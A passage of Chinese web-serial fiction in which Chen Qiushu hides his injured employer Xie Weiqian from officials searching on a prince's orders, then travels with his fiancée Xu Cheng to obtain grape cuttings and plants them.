陈秋树顿感不妙,于是两人下了车把马绳栓在树上,准备去看看怎么回事。
橘猫一见他下车就往前面的土坡跑去,跑出几步远又回头看看两人有没有跟上来。
一路跟着到了一里地外的水塘边,橘猫转眼窜进了石桥底下,水边长满了半人高茅草和污泥,隐隐能听见桥下传来隐约的抽泣声。
陈秋树小声和许橙说“你在这儿等着,我过去看看!”
许橙拉住他“会不会有危险?”
陈秋树摇摇头,“我会小心”
桥下的茅草丛里谢叶初的小脸上全是污泥眼泪鼻涕混在一起。
“舅舅……”
谢为迁勉强撑起身体靠在身后的石壁上,伸出左手揉了揉谢叶初的头发。
“初儿别怕,舅舅休息一会,就带你出去”
小孩往他身边靠了靠,眼泪不停的流出眼眶,哭花了一张小脸。
忽然响动声惊动桥下的两人。
谢为迁立刻把孩子拉到身后,拿起地上的短刀。看见来人才默默松了口气
陈秋树心中讶异,又有所预料,毕竟猫是会认主的。顾不得脚下全身泥水,三两步走了过去。
“谢东家……?”
看见他右手臂一条长长的刀伤,鲜血还潺潺的往下流,陈秋树想起了路上遇到的那批人。
这会儿天已经灰蒙蒙,长溪村的水田都在后山脚下,那一片比较平,这个时节大家会都忙着抢收稻子,没什么人过来这里。
但陈秋树还是不放心,这里离他家有一里地,说近不近说远不远,为了不生事端,还是小心些为好。
他先把谢叶初抱去给许橙,让她先去看看有没有过路人。才返回桥下去扶谢为迁。离开前用手帕把他手上的伤简单包了一下,避免血滴在地上留下痕迹。
陈秋树“能站起来吗?”
走近才发现他的腿上和背上都有伤,好在血液已经凝固了。
谢为迁顺着陈秋树的力道站了起来,“能”
陈秋树不再多言,把他完好的那只手臂架在肩上。不知是不是常常做事的原因,他的力气大了很多,
身体也不似从前那般孱弱。
一路扶着人东躲西藏避开过路人。
差不多一炷香的时间才回到家中。
谢为迁伤得挺严重,手上和背上都是又深又长的刀伤,腿上也磨破了好几块地方。
陈秋树不是大夫,只能简单给他清理一下。
“你这情况,不请个大夫过来看看,怕是会感染”
谢为谦已因失血过多脸色发白,,待到伤口感染,只怕凶多吉少。
“此事还请先生不要声张”
说完他扯下了腰间的玉佩递给陈秋树!
“还需请先生帮着跑一趟,去百花巷四诊堂找祝大夫”
“告知我的情况,他自会过来”
陈秋树点点头,也不在耽搁。交代许橙收拾两间客房出来后,就骑着马匆匆去了。
骑马比赶车快了不少,平日要一个时辰的路,骑马半个时辰就到了。
百花巷是东街的富人居住区,旁边就是成片的月季花,陈秋树挨家挨户的一路找过去,总算在巷尾找到了四诊堂。
从院子的门缝还可以看到里面透出的烛光。陈秋树扣了扣门。
不一会就有一个梳着双髻头的男孩过来开了门。
陈秋树直接问道:“请问祝先生在吗?”
男孩打量了他几眼,看着不像坏人,才说:“请进,公子是想看诊,还在抓药”
两人还没走进屋里。里面有骂声传来。“柱子,谁呀,我不是说晚上不看诊,你小子开什么门,没事就去睡觉,小犊子,皮痒是不是?”
柱子:“师傅,您喝醉了,我要是不开门,明儿您又得骂我?”
扒桌子上的男人眯起眼睛:“你小子还敢顶嘴,罚你抄十遍医书……”
……
如果不是满屋子药味,和一墙的药柜,陈秋树都要怀疑是不是找错了人。
谁家大夫喝的得醉醺醺的趴桌上,还骂人。
确定人没睡着后他也不多废话,直接道明来因
“祝大夫,在下是受人之托,才找了过来。还起请大夫过去看看。”
说完陈秋树就把玉佩放到了桌上
祝云轩看见玉佩,整个人都清醒了,拿过玉佩仔细在手里光看,确定是他熟悉的那一块。才站起身来,眼里已无半分醉意。
“你且把事情详细说来”
陈秋树也没有隐瞒,简明扼要的把事情说了。
得知原委的祝云轩朝刚刚那少年嘱咐“这几日不看诊,有人问起就说去去云游了。”
他快速的整理药箱,跟着陈秋树上马,离开了百花巷。
————
二人回到陈家。
谢为迁不出所料的发起了高热,人已经的迷迷糊糊。
谢叶初在一边抽抽噎噎的哭泣,许橙蒸了碗鸡蛋羹边哄边喂给他吃。
那只橘猫也安安静静的缩在孩子脚边。
陈秋树过去捏了捏许橙的手指让她安心。
祝云轩查看了床上人的伤势。两只手都有些颤抖。
“为迁,听得见吗?”
床上人缓缓睁开了眼睛,嘴角扯出一个浅浅的笑,“没事,你来了,就死不了”
祝云轩“说什么屁
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话,醒着就爬起来,我看看”
虽然嘴上这么说,但他还是俯下身小心把人扶着坐起来。
背上和手臂的刀伤深可见骨,幸在是没有伤到要害。
陈秋树从灶房里端了盆热水出来。
祝云轩把药箱打开,仔细的给谢为谦擦了伤口,上药,用纱布包好,。待药煎好喝下,才让人侧身躺好,。
陈秋树和许橙两人还没吃晚饭,这会怕是过了亥时。不好在弄什么菜。
煮了一锅鸡蛋面就着咸菜吃了。
正吃着,祝云轩走了过来。
他抱手朝两人做了个辑,“今日之事有劳二位,祝某在此谢过”
“为迁此次遭奸人所害,还望二位莫要将此事传出,刚才我见陈兄家中放着许多温补的药材,在下之前便是京中御医,”
“若是不嫌,我也可为其把上一脉?”
陈秋树心里咂舌,,看来他这位东家来头不小。
“祝大夫无需多言,此事我便是不会说出去,我既是玉友楼的账房先生,自知东家是个良善之人”
祝云轩:“既是如此,便都是自家人,在下祝云轩,陈兄日后可不必多礼。”
夜已深,窗外的树被风吹得莎莎作响。
祝云轩本打算带着谢叶初去睡隔壁的客卧。
奈何这孩子实在哭闹,不得已给他拿了床被子,挨着他舅舅睡下。橘猫当是雷打不动的窝在被子上。
安排好三人,陈秋树才推开门进了房里,这间原来是他母亲的房间,陈家院子多房间也多,,奈何家里没剩下几床被子褥子,刚刚的一床都给了谢叶初。
许橙坐在桌前,见他进来,问道。
“都睡了?”
陈秋树点点头,在桌子对面坐下,倒了杯水喝。
今晚许橙本来打算回去。
一来是时间太晚,二来是今日路上遇到的那些人,陈秋树觉得她一个人住不安全,便将人留了下来。
本来他留了床被子给自己将就睡,这下子好了。
陈秋树虽然有些尴尬,,但心里又有种跃跃欲试的欣喜。
“家里没被子了,咱俩今晚挤一挤?”
许橙脸色通红,一晚上都很沉重的心情被羞恼取而代之。
“啊,这样不太好吧!”。
“有什么不好,我们都定亲了,而且又不干啥,”语气坦坦荡荡
说完自顾自的坐到了床边,还拍了拍身旁的空位。
“你睡里面还是外面”
许橙面上纠结犹豫,其实心里也没有不愿意,只是觉得这样会不会太不矜持了。陈秋树会不会觉得她太孟浪。
最后在她的坚持下,两人决定和衣而眠。就这样长条条的一人躺半张床,一动不动。
陈秋树担心许橙不自在,于是把今晚的事情说了说。
其实,许橙也猜到一些。担心的问
“那你去上工,会不会有危险?”
“不会,他们不知道,也敢明目张胆的在县城闹事。”
许橙沉默了几息又说,“还是请几日假,他不是你东家吗,你和他说?”
正说话手就被人握在了掌心
许橙“你干嘛动手动脚,我和你说正事呢?”
陈秋树侧过身子把她拉到了怀里。
“别担心,这两日我不去。”
许橙的半张脸隔着衣裳贴在温热的胸膛上,嘴角微微上翘,也不挣扎。
21. 躲藏
不说是谢为迁身子好,还是祝大夫的药好。第二天就退了热清醒过来。
许橙早上熬了一锅粥,又做了几蝶小菜。几人一起吃过了早饭
连谢为迁也喝了一小碗。人已经没什么大事,脸上还有点苍白,好好养上一段时间,把伤口养好就差不多了。
这时门口响起了敲门声。屋子里的一群人都立起了耳朵。
陈秋树站起来去开门。
是王旭来给他送昨日得的铜板。还拿了一些家里种的青菜过来。
陈秋树没有叫人到屋里坐,想着谢为谦那事,还是知道的人越少越好。
王旭把东西递给他,嘴里嘀嘀咕咕到。
“衙门的人也不知道怎么回事,这粮都还没晒干,这会就上来收粮,怕是好些人家交不上”
“不说了,秋树哥,,估摸着快收到我家了,我回去看看”
陈秋树点点头,“去吧”
等人走了,他才邹着眉头往外头看了看。
关了门,急匆匆的回了屋里。
“大家先别吃,衙门的人现在来收粮,这事不太对劲”,这个时间不上不下,有些人家谷子还挂在田里,收哪门子的粮。
听见这话,谢为迁面上一沉“估计冲着我来的”
祝云轩愤愤的摔了筷子,“小小县令哪有那么大的胆子,肯定是段齐那孙子,他妈的够狠”
虽然很气愤,但是现在没有时间想那些有的没的。
陈秋树连人带猫的领着他们来到了后院。后院宽敞,挨着围墙有几间厢房,最左侧的一间陈家落败后就成了杂物间,屋檐底下堆了不少柴火,劈好的没劈好的堆在一起,看着很是杂乱。
他把几节粗壮的树枝移开。露出了地上一扇小木门,这是陈家的地窖,当初挖在屋檐下,一来方便冬天藏冰,。二来挖在院子中间不好看,又怕有人不小心掉下去,现在闲置还成了一处不错的藏身之所。
几人顺着扶梯下去,谢叶初自然是挂在了祝云轩的脖子上,顺便还带上了那只橘猫。
关上小门,陈秋树拿扫帚把旁边的尘土扒了扒遮掩上木门,
还好他懒,不怎么搞后院卫生,墙角木屑灰尘一大堆。,又把周围的柴火往上堆了堆。任谁来都不知道这儿有个地窖。
许橙把昨晚两人睡的床褥被子收了起来放柜子里。陈家就剩陈秋树一个人,哪怕说是给她住的,两人已经定亲。难免让有心之人生疑。
她把吃过的饭碗洗净擦干放好,桌上只余下够两人的吃食。
陈秋树从后院回来就昨晚谢为谦躺过的房间收拾好,确定不露出丝毫破绽后才放心的出了房间。
灶房里还煨着陈秋树吃的补药,丝丝药香布满院子个个角落,刚好可以解释床上残留的淡淡药味。两人把戏做足了。坐下信誓旦旦继续吃早饭。
一刻钟时间屋外就传来了急躁的敲门声,恨不得把门板都掀开了来。
陈秋树起身去开门。进来了几个穿着官服的衙役。
“收粮了,收粮了,”,一个肚大腰圆的官差走在前面,拿着册子翻看。
“我看看是哪家?”
陈秋树用余光瞟过,前头几个都是平阳县衙门的官役,后面几个长得高些虽然穿的是官服,但看上去气势全全不一样。。而且应该跟着收粮队一起来的里正也不见人影。
……
果然,收粮是假,找人是真。
南晋百姓能够安居乐业,一是皇帝骁勇英明,二是土地交税只收一成粮食,
当然像陈秋树这种只有二亩地还没种的,没粮食的,也是要交几十文钱的。不允许土地空置
没粮自然就没那么多称粮的弯弯绕绕,按理直接给了钱就没什么事情了,顶多就是多说几句来年好好种地的慰问语
收了铜板,官差装模装样的往里瞅瞅,,“这一上午,渴死我了,可否方便在你家喝碗水”。说着不等回答就走了进去。
陈秋树当然不能拒绝,那样显得心里有鬼。
官差边走边在院子里打量,“这房子建得气派,看着就结实。”
陈秋树只能陪笑
官差说完又想到了连夜领回来的任务,回头惊叹的对着下属说,“最近衙门不是在改休屋舍,你们几个去好好看看人怎么建的,别给我出错了”
闻言站在后面的四人立马分开在各各角落开始搜查。
陈秋树:“…………”
只怕三岁孩子都没这么好骗
他表面云淡风轻的带着的官差进屋喝水。奈不住心里砰砰直跳,就怕把藏着的人翻找出来。
如今衙门的人都来了,。现在陈秋树只希望清汤大姥爷能保佑谢东家真的是个良善之人。
……
屋子里许橙把灶房里的水壶拿出来,倒了了两杯水放在桌上。又匆匆忙忙当着外人的面儿把桌上的食物收了起来。
陈秋树招呼人坐下“不知官爷今早来收粮,家里没杯好茶水,还望多担待。”
官差见他谦和有礼,面上露出些笑容。
“无碍,我这干了一早上活,喝杯水解解渴,还得赶往下一家,可别耽误了正事”
上头来人说有犯人逃到了平阳县,知县姥爷怕惊扰百姓,打着收粮的幌子挨家挨户查人。不然这那是收粮的时候?。
叫他说,这犯人能逃出来,是上头办事不利。可苦自己一群兄弟。
一群衙役乒乒乓乓把屋里屋外翻了个遍。没找着人,排着队儿离开了。
陈秋树没有急着去把人叫出来,合着许橙一起在院子里收收捡捡。
他自知此事不简单,只等一会找谢东家问个清楚,不要牵连了进去才好。
或许知道他心中烦闷,一只温热的小手主动牵了过来
“别担心,昨日那群人一看就不是好人,你做的是对的。”
————
平阳县衙,李县令急得如热锅上的蚂蚁,额头的虚汗擦了又擦。直至湿了一张手帕
“这可如何是好,如何是好,怎么就来了个这么个烫手的山芋”
“这人要是偷偷做掉,也便罢了,现在人找不着,事儿又丢到我头上,哎呀!,这都……什么事……”
“师爷,你说说,这该如何善了?”
徐师爷身穿一身藏青色长衫,手拿折扇,立在一边看着团团转的县令,心里冷笑轻嗤,没用的东西,不然也不至于现在再来到处找人。
不管心中如何嘲讽,面上都要给足面子。
“大人莫慌,您只管给二皇子做事,将来定是福泽深厚,”
县令:“话虽如此,但安远侯一向合着大皇子,我怕…………”
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徐师爷冷笑“安远侯府已经不成气候,,此事二皇子自会为你兜着。,我们只需尽快找到人即可。”
…。
————
再说这安远侯府谢家几代那个不是战场上的大将军。偏偏出了个喜文不喜武的谢为迁。
即便是幼时与擅武的大皇子交好,也没能去掉儒雅的性子。
南晋大皇子段戎,骁勇善战,心高气傲。守在边关立下赫赫战功
二皇子段齐,足智多谋,闻言有悲天悯人之性。说到两人,无一不拍手称攒,乃是大国之幸事。
“放屁,他段齐要是有悲天悯人之性,那些被他害死去的人都得气活”
“不仁不义,草皆人命的混蛋!”
“阴暗爬行,一张皮低下早就见不得光!”
祝云轩气得咬牙切齿,恨不得扒了他段齐的皮在城墙上挂个三天三夜,。让这些爱戴他的子民们好好看看他的原本模样。
“不是我祝家当年助他,他能有今天的日子,恩将仇报的小人,害得我一家落得如此下场,…………”说完还掉下两行眼泪。
谢为迁怕他太激动厥过去,只把人拉着坐下缓口气。
陈秋树自是从记忆里得知这两位皇子的周边。不得不感慨,知人知面不知心。
谢为迁见他有所思,便开口道。
“外界传言并不能信以为真,我现在虽无证据,但祝兄说的句句属实”
“我与段齐私底下也有些恩怨,才惹来今日祸事。”
“我二人并非心恶之人,陈兄不必担忧,这两日之事,不会有人传出去。”
。对于两人的话,陈秋树是信的。谢为迁对孩子太温柔,坏人难以养出这样的气质。
看着就是好人的面相。
“东家客气了,我老师曾经教导过我,路见不平应当拔刀相助。”
“两位这几日尽管安心住下,我这儿冷清,便是不会有闲杂人过来打扰”
谢为迁手上伤不方便。只说了声谢
反而刚刚还被愤怒冲昏了理智的祝云轩站起来报拳做了个辑。
“我果然没有看错,陈兄果真是豁达之人”
陈秋树笑了笑,回了个礼。
————
一大早被搅得人心惶惶的村子已经安静下来,大伙纷纷探出头来,寻问到底怎么个事?
大娘抚着胸口说“我家今天没交上粮,官爷都搜了屋子,我勒个娘勒,瞧瞧那阵仗,真是吓死人了。还好官爷说下次来收。”
“可不是吗,我大娃昨天刚把谷子晒干,今儿就拉走了,那官爷还说体恤民啥来着,也在我家里晃了一圈,”
“哎呦,可不,我那老母鸡正下蛋,都吓得飞出了窝,那蛋硬生生破在了地上”
“要我说,这官爷不得了,今早硬是打破了我二个瓷碗,”
“是了,我咸菜坛子都踢坏了一个”
………………
陈秋树:……您勒,心真大……
村子里的人大多心思单纯,,有那些个长了心眼子的,也不敢把官家的事拿出来当话头,,往往忙个一两天就慢慢淡忘了。
陈秋树继续跟没事人一样该干啥干啥。
眼看天就要冷了。他家地和杨婶家的连着,这个点,杨叔和杨绍正拉着牛翻土,。
22. 出门
陈秋树和两人打了招呼,给了八十文钱,请人帮着把地犁了。过段时间打算种点儿东西。
隔天陈秋树去上工,暗地里偷偷观察着周围的情况,还真让他看到了几个可疑之人。心里就有了计较。
茶肆二楼雅间的窗口坐着两人,。珠帘后姑娘弹奏的琵琶声婉转悦耳,如潺潺流水绕指柔。
隔窗往下望去,刚好可以看见玉友楼的大门。客人进进出出,无人注意树下两明男子已经蹲守了大半日。
平日里没什么人的后门巷子里也不知何时来了两个怎么赶也赶不走的乞丐。
两人喝着茶,听着曲。一个穿着青衣长袍的男人说:“你确定他会回来”
他对面坐着个拿折扇的公子信心满满:“不然呢,跑得了和尚跑不了庙”
“呵~,难不成在这找到了,还能当场绑了不成?”
“……”
“我不信他不出门,下次还能跟丟……?”
“,哈哈哈哈,你说你们,一群老爷们?这点事儿,都多久了!”
————
成秋树端着几个硬馒头走出后门,两个乞丐在墙角蹲着,其中一个还打起了吨。
他过去把馒头给两人,奉劝道“这条巷子是我们东家修用卸货的,没人过来,讨不了什么东西,你们把这馒头吃了就赶紧离开吧!以免惊扰了贵客。”
地上的人一脸不屑的接过馒头,没半分诚意的道谢“多谢主家,我二人太累了,休息休息就离开,定不打扰主家做生意。,”
闻言,陈秋树不在多说,,转过身去,眸色渐暗。
这两人四肢健全,那怕坐着也能看出身量不矮。虽说脸上抹了黑泥,但耳后脖颈依旧干干净净。哪里的乞丐过得如此之好?
陈秋树自是不想搅进这些是是非非,他就是个普普通通的小市民。只望能安全脱身便好。
一天时间很快过去。他多跑了好几次堂前,听食客们说话闲聊。
得知近日县城里并无什么稀罕事发生,大家如往常一样吃吃喝喝。便说明对方也不敢放明面上来抓人,这样他就放心了。
临走时又见有两个人鬼鬼祟祟的在门前东张西望,陈秋树不动声色的离开了。
回到家里,就把在酒楼发现的可疑之处说给了谢为迁二人听。
谢为迁面不改色,淡淡道“他自然是不敢大张旗鼓的来拿我,这事要是传出去了,他二皇子经营多年的名声还要不要?”
“不过是看着我离开京城,带的人手不多,才背地里偷偷下手,到时候在扣下个被山匪所害的明头。谁又敢怀疑是他所干。”
祝云轩急为气愤“此事决不能就此姑息,我回去收收东西,等你好些,便回上京”
谢为迁急忙拉住他“你别冲动,当下得想法子换个住处才是要紧事。”
“虽然我光明正大回去他们也不能怎么样,但暗箭难防,”
“他们派人守在酒楼,,恐怕不日就能查出陈兄是我家账房先生,从而怀疑到这里来,到时就怕是连累陈兄”。
祝云轩沉思几秒才开口,“我向来居无定所,想必段齐不知道我来了这儿,倒是想到一个不错的去处……”
陈秋树默默站一旁不说话,也不劝两人,他也怕啊……这事明显县太爷也参与其中,他还得生活在平阳县,这可不是能逞英雄的时候。
半夜趁着村子里的人睡着,陈秋树赶着马成悄悄把三人送到了县城。
平阳县有四家最为得势,珠宝行的言家和和布庄的刘家为首,听说这两家背后多多少少都有些不得了的关系,另外就是有茶林的张家和开食肆的谢家了。其实算起来玉友楼的背景更加雄厚,毕竟人家那是正正经经侯爷家的私产。
只是平阳县的人不知道,只听说玉友楼是从上京开到这儿来的。
而祝云轩想到的去处便是言家,言家家大业大,祖上靠走南闯北走商珠宝积攒家业,后又在常山郡买下私山,开采出不少珍贵的石料。还是平阳县的本地人,势力盘根错节,哪怕子女生活在常山郡,祖宅也还在这里。言家老爷子年纪大了索性留在老宅过他的潇洒日子。
祝云轩刚来平阳县的时候刚好给老人家看过诊,开了几副调理身体的方子,两人又时常出去钓鱼。一来二去就熟络了。
想必那些个衙役可不敢到这儿来搜人。
谢为迁的祖父是个大将军,一家几代镇守边关。言老爷敬重谢将军,自然是想要庇护一二。他家想要在平阳县想藏个人简直轻轻松松。
至于那些该收拾的人,等回来京再说。
陈秋树把三人送到言家宅子大门口,谢叶初已经趴在祝云轩肩头睡熟。
“二位保重,时辰不早了,我先回去,以免打草惊蛇”
“天黑路远,陈兄路上小心,。”
月影婆娑,,月明星稀明天天又是个大晴天,,陈秋树借着月光回到了长溪村。睡了这几天来的第一个好觉
果然不出所料,第儿天旁晚就有人过来查看。好在人已经走了,什么也没查出来。虚惊一场。
陈秋树悬着心过了几天日子,直到守在玉友楼门前的那几人离开,他才安心下来干自己的事。
如今已是九月下旬,陈秋树抽了个好天气去一趟清河郡看看葡萄树。打算买一些过来扦插。在此之前最主要的是翻地,他家地太少,还得去找村长买几块荒地,就买在屋子后面的靠着小河的这一块坡地。种葡萄最为适合。
架好牛车,趁着天气好,陈秋树带着许橙一块出发,晚上在客栈开了两间中房休息,古代治安不太好,出门在外,当然要处处小心。
到了客栈,点了几道地方菜吃,味道还不错。
陈秋树说了谢为迁的事,他们已经回上京了,走之前还见了一面,看着事情像是解决了。
和许橙说起,是避免她太过担心。
。吃完饭找小二要了两桶热水,坐了一天牛车,洗个热水澡,舒服一些。
“好好休息,晚上有事叫我”
“好,你也好好睡一觉,”
陈秋树笑了笑,给许橙带上门,回了自己的房间。
两人虽然定了亲,但并没有做出过多逾越的举动,那晚虽然睡在一起,但仅仅也是抱了一下。
不能太快了,他想。
地二天下午终于到了清河郡,陈秋树坐在前面赶着马车,车厢里放了个小马札,许橙一边吃着糕点一边四处观望。
。说起来他都还没有去过长山郡,来到这里快有一年,
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还没出过平阳县,比起县城,这里要繁华许多。
两人打算在这里住一晚,到处逛逛,明天在去看看卖葡萄的。
安顿好后,休息了一个时辰,窗外亮起了一盏盏黄灯笼,络绎不绝的叫卖声提醒着窗外有多热闹。两人决定出去逛逛。
许橙乐此不疲的一个摊子一个摊子看过去,卖的都是一些姑娘会喜欢小物件儿。
陈秋树跟着她慢慢走,手上提着一些小东西。
路过一个卖发簪首饰的铺子,小二站在门口敲着锣,高声介绍今日铺子的活动。揽了不少人往铺子里去。
陈秋树拉住要往前走的许橙,看了眼她头上的两根发带,觉得自己真是不够细心。
“进去看看?”
两人距离很近,声音从耳边擦过。许橙来不及反应就被带进了铺子。
铺面很大,东西也很多,各式各样,各种材质都有,两人在发簪那一块看了看。陈秋树牵着许橙的手问她有没有喜欢的,。
没有那个姑凉会不喜欢这些东西,许橙自然也不例外,目光停在了一个只银簪上面,这只簪子比其他的要细上许多,上面挂着一串银穗子,看着简单大方。
许橙很喜欢这串穗子,觉得它比那些蝴蝶鲜花漂亮多了。
陈秋树叫了小二过来,拿了簪子出来看看。他小心的把簪子插在许橙发间,轻轻摇晃的穗子衬着这一头青丝,确实很漂亮。
许橙仰着头,脸上带带了点红晕,嘴角笑得弯起,露出洁白的牙齿,眼里的开心藏也藏不住。“怎么样,合适吗?”她问
陈秋树喉结滚动了一下,半分眼神都没有移给头上的簪子
“好看”
花了一两多银子,许橙硬是舍不得带,怕弄丢了,准备装在盒子里带回去。
出了铺子前面又演起了杂技,起哄的声音嚷开了好远,街上人群来来往往,陈秋树揽上许橙的肩膀,以免她被人撞到。气氛到了这里两人心里都甜蜜得很。
找了家食肆吃饭,这边有一道名菜荷香珍珠鸡,蒸得软乎的鸡肉放在翠绿的荷叶上,浇上一成亮黄的酱汁,鸡肚子里藏着莲子,陈秋树给许橙撕了一个鸡腿,又给自己撕了一个鸡翅。肉香荷香充盈满口,难得的好滋味。
吃完两人又随便逛了逛,回了住处。
站在门口依依惜别
“那早些休息?”
“好”
“……”
许橙眼神往下看了看,意示两人交握的手。
陈秋树顿了顿,舍不得松开,前阵子太忙,他都没有好好培养一下感情,,再说这天不是还亮着。
“要不要,去我屋里和口茶”,说完他就后悔了,拐味好重,要是成亲了就好了。
“好啊,刚好有点渴”,许橙意味不明的看了他一眼,眼里水波荡漾眼尾上挑又垂下。说完拉着陈秋树去了他的房间。
这一眼,神仙来了也顶不住。
关上门,陈秋树就把许橙抱起来,让她坐在自己腿上。
“我看看,谁家姑娘长得这么俏”
许橙这会儿脸已经红到了耳根,但依旧厚着脸皮没有移开目光。
陈秋树看了几息,差点分不清东西南北,忍不住低头在她额间落下一吻。
23. 葡萄
许橙双手轻轻攀上他的脖子,心跳飞快,在额头那道温热的触感离开时仰起了头。她想,这就是她想要的汉子。
感觉到唇上的温软,陈秋树连眼睛都没有来得及闭上。还有这种好事。
都说久旱逢甘霖,陈秋树那里控制得了,来来回回,反反复复的把许橙亲了个遍,
到最好两人气喘吁吁,都有些衣衫.不整,许橙坐在他腿上,那里会感受不到他身体的变化,才惊觉自己未免太过浪荡,她拢了拢身前的衣襟,
“我……我困了,先回去了,你早点休息……”说完就往外跑,好似身后是什么才狼虎豹。
陈秋树叫住了她“等等”
“你睡这里,我去隔壁”
开玩笑,这要是外面遇见了人,那还了得。
陈秋树回到房间才想起来还没喝茶。
……
翌日,起来洗漱完刚好和来敲门的人撞个正着。
许橙还有点不好意思,眼神四次乱飘。
陈秋树把她拉到了屋子里关上门,默了默问道“要不要亲一下”
不等回答就飞快的低头碰了一下唇。
许橙轻轻推了一下,力气小得自己都震惊,“青天白日,你干什么?”
陈秋树毫无自觉说“屋子里呢?别人见不着”
他真是越来越佩服自己的脸皮。
这事儿以至于让出许橙都不敢抬头看人,怕被看出什么端倪。
两人一路来的了附近的一个村子,天鹅村,,说是村子,这里比长溪村大很多,堪比一个小镇,村口还有几家杂货铺子。
陈秋树找人打听一路。终于来到了一处庄子,越是走近空气里弥漫的花香越是沁人。
没多久就见一道木制的大门上挂着牌匾,写着三个字丁香园,陈秋树叩了叩门上的铁环,不一会一男子过来开了门。
“二为是来买香膏香露的吧?”
陈秋树笑着拱了拱手,“,听说这里有个葡萄园,今日特地前来拜访,还望叨扰。”
男子目光打量了片刻,不留痕迹的开口
“二位请跟我来”
刚才隔着院墙看不见里面,进来之后,陈秋树都忍不住惊呼,这也太大了!真是一个令人心旷神怡的好地方。
许橙把被风吹起的发丝捋到耳后,惊叹出声“好香,这里好美!”
陈秋树看了她一眼,想起自己的计划,笑着压低声音说,“以后我给你弄个更香的”
许橙只当他在开玩笑,轻嗔“你正经点儿,正事要紧”
陈秋树没解释太多,他不画大饼,以后直接把大饼端到她面前堵嘴。
不过不怪许橙不信,这里太大太美,
远远望去全是一片片花田,各式鲜花竞相开放,村民在田间忙忙碌碌,隐隐能听得见交谈的声音,花海里立着水车和竹舍,远处的山坡上开着艳粉花朵。
而陈秋树是不打算种花的。他说的香是果香的香。今天他要做出大饼的第一步。
…………
不一会他们就来到了竹屋,屋后种了一片含苞待放的山茶,一名女子从屋子里出来,手上抱着几束开得正好的牡丹。更让人移不开眼的是,她长得竟是比手上的牡丹要更加明艳。
“欢迎客人登临寒舍”
男人介绍这是他们的东家,上前和她耳语了几句,便离开了。女人笑颜如花,不紧不慢的拉开凳子坐下。
“两位请坐。”
她拿过水壶倒了两杯花茶放在他们面前,“你们来得真是不巧,我那葡萄今年结得不好,到如今也只剩些歪瓜裂枣。你们若是要拿去卖,怕要只亏不盈”,语气里极为郁闷。
陈秋树不是来买葡萄的,转而说到“不知可否带我们去看看,在下家里有些果树,对葡萄藤倒是有颇多研究。”
对面的人眼神变得打量玩味起来,“哦~,这样啊”
“当然可以,二位随我来吧。”
说完便往外走去,步伐潇洒肆意。
许橙看着这道靓丽的身影,心中满是艳羡,有的人光是站在那里就已经足够璀璨。
很快就来到了葡萄园,几颗健壮的葡萄藤蜿蜒而上,布满了头顶的葡萄架,叶子有些枯黄,稀稀拉拉的几串葡萄挂在藤蔓上。
女人摸摸藤蔓:“不知为何?我这葡萄藤一年比一年健壮,但是结的果却越来越少。”
她随手摘下一串放在果篮里,心中不满,想他柳丁香什么花种不了,却不知道这藤怎么回事,明明春天长得那样喜人,秋天结的果却是这般寒碜,真是不争气。
陈秋树上辈子种果树多年,一眼就看得出问题所在。
“柳东家,不瞒你说,我们并非为葡萄而来,是想问问这能不能买几珠葡萄苗”
柳定香挑了挑眉,笑到,“原来如此,可是你也看到了,我这些可都是老树,何况我这是千金也不卖的。”
陈秋树也不急,他抬手指了指头上的枝条,“柳东家若是愿意,卖我几根枝条就行?”
“呵呵~,既然这样也不是不可以,我甚至可以送给你,只是……我要知道如何栽种。”
真是个聪明的女人,
许橙惊讶于她的聪明大方,想起自己畏畏缩缩的小家长气模样,眼眸不由得低了几分。
午时两人自然蹭了一顿带着花香的饭。
柳丁香找了几个擅长养花的老师傅过来,陈秋树和他们详细讲解了葡萄如何扦插,如何施肥。随后又在纸上写了一份留在这里。
一直等到天黑两人才回到了客栈。好在收获还不错,柳东家给了一批枝条。明早直接拉了就能回去。
来的时候在街上买了不少东西,许橙一一包好放在了显眼的位置,省得明天忘了拿。
陈秋树从身后抱着她,下巴抵在她头顶,轻轻问道“怎么了,不开心?,是不是哪里不舒服”陈秋树察觉她情绪低落,有些担心。
许橙回过头来,露出了一个灿烂笑容,“没事,只是有点累了,”她不该这样的,陈秋树今天很开心。
不知想到什么,许橙笑着搂上橙秋树的脖子,踮起脚,在他脸上亲了一下,又在唇上亲了一口。她想如果柳东家有爱人,也会这样大胆的表达自己喜爱?
昨天过后,陈秋树就有些控制不了自己,时不时就想亲一下,渴望肢体上的接触。
不等许橙退开,就反客为主的楼住了身前人纤细的腰肢,倾身而下。
并非做出什么出格的事,最后也只是多去洗了一回凉水澡。
翌日两人满载而归,柳丁香送了不少花
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种子,还送了许橙一盒香膏和一盒香露。她抹了点在手腕处,嗅了嗅,很清新的甜香味,是她没有闻过的花香。
“真好闻,”她把手往陈秋树那边凑了凑
“柳东家人真好,又漂亮,又大方,又能干,这世间只怕没有人能配得上她?”
“…………”
陈秋树不知道许橙哪里来的这么高的评价,她都没有这样夸过自己。
不过处于男人的求生欲,陈秋树说,“漂亮?,那有我们家橙子好看,而且谁有我们橙子能干呢?”
许橙知道他是哄自己开心,,但也忍不住红了脸,暗自心里欢喜。
隔了两天,终于回到了长溪村,,陈秋树感觉空气都好闻了不少。
“哟,陈小子你俩这是干啥来了,咋还拉了堆柴火,”
陈秋树没有解释,反问道“大娘这天都要黑了,还出村呢?路上可得小心些。”
“嘿~我家壮子在前头接我哩,哈哈”
“那您还是快些过去”
“得勒,不和你俩聊了”
“…………”
到家,把马车上的葡萄藤小心卸下来的放好,
许橙已经做好了饭菜。
两人吹着晚风简单的吃了个夜饭。
“要不今晚留下来,反正有客房?”陈秋树恋恋不舍的拉着许橙的手。
这些天两人天天呆这一起,这忽然要分开,他还挺不适应,
许橙上前在他下巴亲了一下说“不行的,还没成亲,被别人知道了不好?”
想起柳丁香,她忽然就在意起了自己的名声,不想陈秋树娶一个声名狼藉的自己,甚至暗暗的恨起了再也没有想起过的柳民生。
陈秋树:……想成亲
“那我送你回去,不可以拒绝,我们是定了亲的”
“好”
————
买回来的葡萄枝得赶快栽种下去,这时候的枝条外面看着似干材,其实剥开外皮里面还是鲜活的,等到枝杆干枯了就得可惜了。
陈秋树前段时间做的营养土这时候就派上了用场。
许橙怕他一个人忙不过来,一大情早就来帮忙。
两人在家门口的空地上一层肥一层土的铺了四四方方的一小块地。作为培育幼苗的温床。
拿了剪刀把葡萄枝剪成节,每节上面要留三个芽包,方便以后发芽,插进泥土的那头剪成斜口。隔两指的距离均匀插进泥土里,盖上几片大叶子避免强光照射,接下来只许要保持土壤湿润,二十天左右就能生根。
